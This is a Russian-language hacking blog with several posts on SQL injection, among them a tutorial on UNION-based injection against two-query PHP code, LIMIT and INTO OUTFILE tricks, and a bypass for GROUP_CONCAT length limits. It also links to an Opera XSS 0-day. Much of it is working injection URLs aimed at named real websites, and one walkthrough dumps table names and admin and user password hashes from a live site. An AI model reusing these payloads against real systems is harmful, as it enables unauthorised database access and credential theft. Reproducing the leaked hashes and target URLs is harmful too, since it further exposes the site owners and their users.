XSS на любых сайтах (Opera, 0-day, обход SOP)

Недавно была обнаружена уязвимость в броузере Opera позволяющая выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты. Уязвимы версии Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день).
Читать: RDot.ORG

Рестайлинг

Рестайлинг блога loading ...

The used SELECT statements have a different number of columns

Материал относительно двух запросов подряд. Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns.
Обычно на вопрос, что это, кто-нибудь отвечает, что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода не будет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так (не знаю кому это может понадобится, рассматриваем теорию):
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей:
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)?
id=-2+union+select+1,2,3,4/*-------из первого
То есть вывод есть!
При расположении запросов в обратном порядке, будет то-же самое.

Далее, усложним задачу. Вывод из разных таблиц:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo "result1 : ".$result1[0]."<br>";
echo "result1 : ".$result1[1]."<br>";
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)

Ну и наконец смертельный номер :) Результат одного запроса, идёт в другой запрос:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
if($res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
echo "result : ".$result[0]."<br>";
echo "result : ".$result[1]."<br>";
}
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
echo $result1[3]."<br>";
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод:
?id=a'+union+select+1,2,3,4/*---из 1 запроса (второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
Здесь вывод из двух запросов.

Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов связанных с этой ошибкой поубавится.

Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори)
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод:
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4,5,6,7,8,9/*

Первоисточник 

LIMIT

Часто бывает такое, что при проведении SQL инжекта, обрезать данные основного запроса не представляется возможным, собственно вся суть сводится уже не к обрезанию избыточных данных, а именно к составлению логически правильного запроса, ну к примеру:
http://site.com/index.php?id=1’+union+select+1,2,version()+and+’1’=’1
Так же бывают случаи при данных условиях, когда в основном запросе используется LIMIT, что казалось бы, при данных условиях обламывает нам возможность его использования в нашем запросе, все немного не так, а точнее совсем не так, в общем то все дело можно легко обойти обозначив принадлежность определенного лимита к соответствующему запросу, ну например:
http://site.com/index.php?id=1’+union+(select+1,2,table_name+from+information_schema.tables+limit+1+offset+1)+and+’1’=’1

Удобный вывод

Часто бывает так, что вывода в скуле не добиться или попросту вывод есть, но он не удобен для обозревания (к примеру, в тайтл и т.п.), в общем при наличии определенных условий можно сделать проще и сдампить БД налегке, для этого нам нужно, чтобы на сайте директива magic_quotes_gps была равна Off, ну и соответственно права на запись (File_priv=y), пример:
SELECT substring(GROUP_CONCAT(COLUMN_NAME SEPARATOR 0×0a),0,1024) FROM information_schema.COLUMNS WHERE TABLE_NAME=0×7573657273 INTO OUTFILE ‘/put/k/saitu/lolo.txt’
Здесь в помощь конструкция INTO OUTFILE, но не INTO DUMPFILE – с ней возникают траблы при выводе больше одной строки.

Обход group_concat_max_len при использовании GROUP_CONCAT()

Довольно таки часто используемый прием с использованием GROUP_CONCAT(), но при его использовании у многих возникает проблема с максимальным объемом возвращаемых данных функцией, который как раз по дефолту и ограничен системной переменной group_concat_max_len, которую как правило и оставляют без изменения, а так же и то, что GROUP_CONCAT() не поддерживает LIMIT и собственно казалось бы способ очень удобный, но при дампе большой БД многих приводит в ступор именно это ограничение, ну, в общем-то тут не все так плохо, как кажется с первого взгляда, в помощь другие агрегаты, вывод спокойно можно и подвигать, пример:
SELECT substring(GROUP_CONCAT(COLUMN_NAME SEPARATOR 0×0a),1024,1024) FROM information_schema.COLUMNS WHERE TABLE_NAME=0×7573657273

Чарт хинтов

Решил открыть рубрику в блоге у себя где будут собираться различные приемы и вкусности при работе SQL-inj, Lfi/Rfi, XSS, думаю должна получиться занятная коллекция, как всегда посмотрим, что из этого выйдет.

Дизайн блога

Начал потихоньку переверстывать дизайн блога, так что не пугайтесь если чё ;) думаю должно получиться симпатично, уже кое-что сделал в плане оформления...

Крутим, вертим…

Подбираем количество столбцов и узнаём версию мускула:

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13+--+


Столбцов: 13
Версия: 5.0.41-log

Смотрим таблички:

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(table_name+separator+0x0a),5,6,7,8,9,10,11,12,13+from+information_schema.tables+--+


Вывод:

CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS bodas bodas_campos estado estadoventa files files_campos moneda participacionesboda participacionesboda_campos participacionesquince participacionesquince_campos quince quince_campos reg tiposervicio tipoviaje vendedores vendedores_campos ventafile ventafile_campos acos archivos aros aros_acos carteleraposts cartelerapostscomentarios groups news numeros proveedorescategorias proveedors ratings restaurantes restaurantescategorias restaurantescomentarios secciones users email_addons email_autoresponders email_banned_emails email_config_settings email_customfield_lists email_customfields email_folder_item email_folder_user email_folders email_form_customfields email_form_lists email_form_pages email_forms email_jobs email_jobs_lists email_links email_list_subscriber_bounces email

Смотрим поля таблицы users:

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(column_name+separator+0x0a),5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name='users'+--+


Вывод:

id username password group_id created modified direccion nombre apellido foto email sexo nacimiento telefono celular userid username unique_token password admintype listadmintype templateadmintype segmentadmintype status fullname emailaddress settings editownsettings usertimezone textfooter htmlfooter maxlists perhour permonth unlimitedmaxemails maxemails infotips smtpserver smtpusername smtppassword smtpport createdate lastloggedin forgotpasscode usewysiwyg enableactivitylog xmlapi xmltoken gettingstarted googlecalendarusername googlecalendarpassword user_language eventactivitytype

Делаем запрос к таблице users:

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(concat_ws(0x3a3a3a3a,id,username,password)+separator+0x0a),5,6,7,8,9,10,11,12,13+from+users+--+


Вывод:

ERRORBDTable 'ma000038_planeta.users' doesn't exist
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /www/planetabb/htdocs/verProducto.php on line 5
No existe el articulo

Что говорит нам о том, что таблицы users попросту не существует в БД ma000038_planeta…

Глянем ка БД в которой находится данная таблица:

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),table_schema,5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name='users'+--+


Вывод: boating

Это уже что то... теперь наконец то можно и вывод получить...

http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(concat_ws(0x3a3a3a3a,id,username,password)+separator+0x0a),5,6,7,8,9,10,11,12,13+from+boating.users+--+


Вывод:

6::::usuario1::::929da1d3d0650105e127c2ba7cb5057b58bf654b 7::::usuario2::::929da1d3d0650105e127c2ba7cb5057b58bf654b 5::::admin::::929da1d3d0650105e127c2ba7cb5057b58bf654b

Завелись, поехали!!!

Всем привет! Решил создать свой блог, думаю мне есть чем поделиться... так или иначе, время расставит всё на свои места... посмотрим, что из этого выйдет...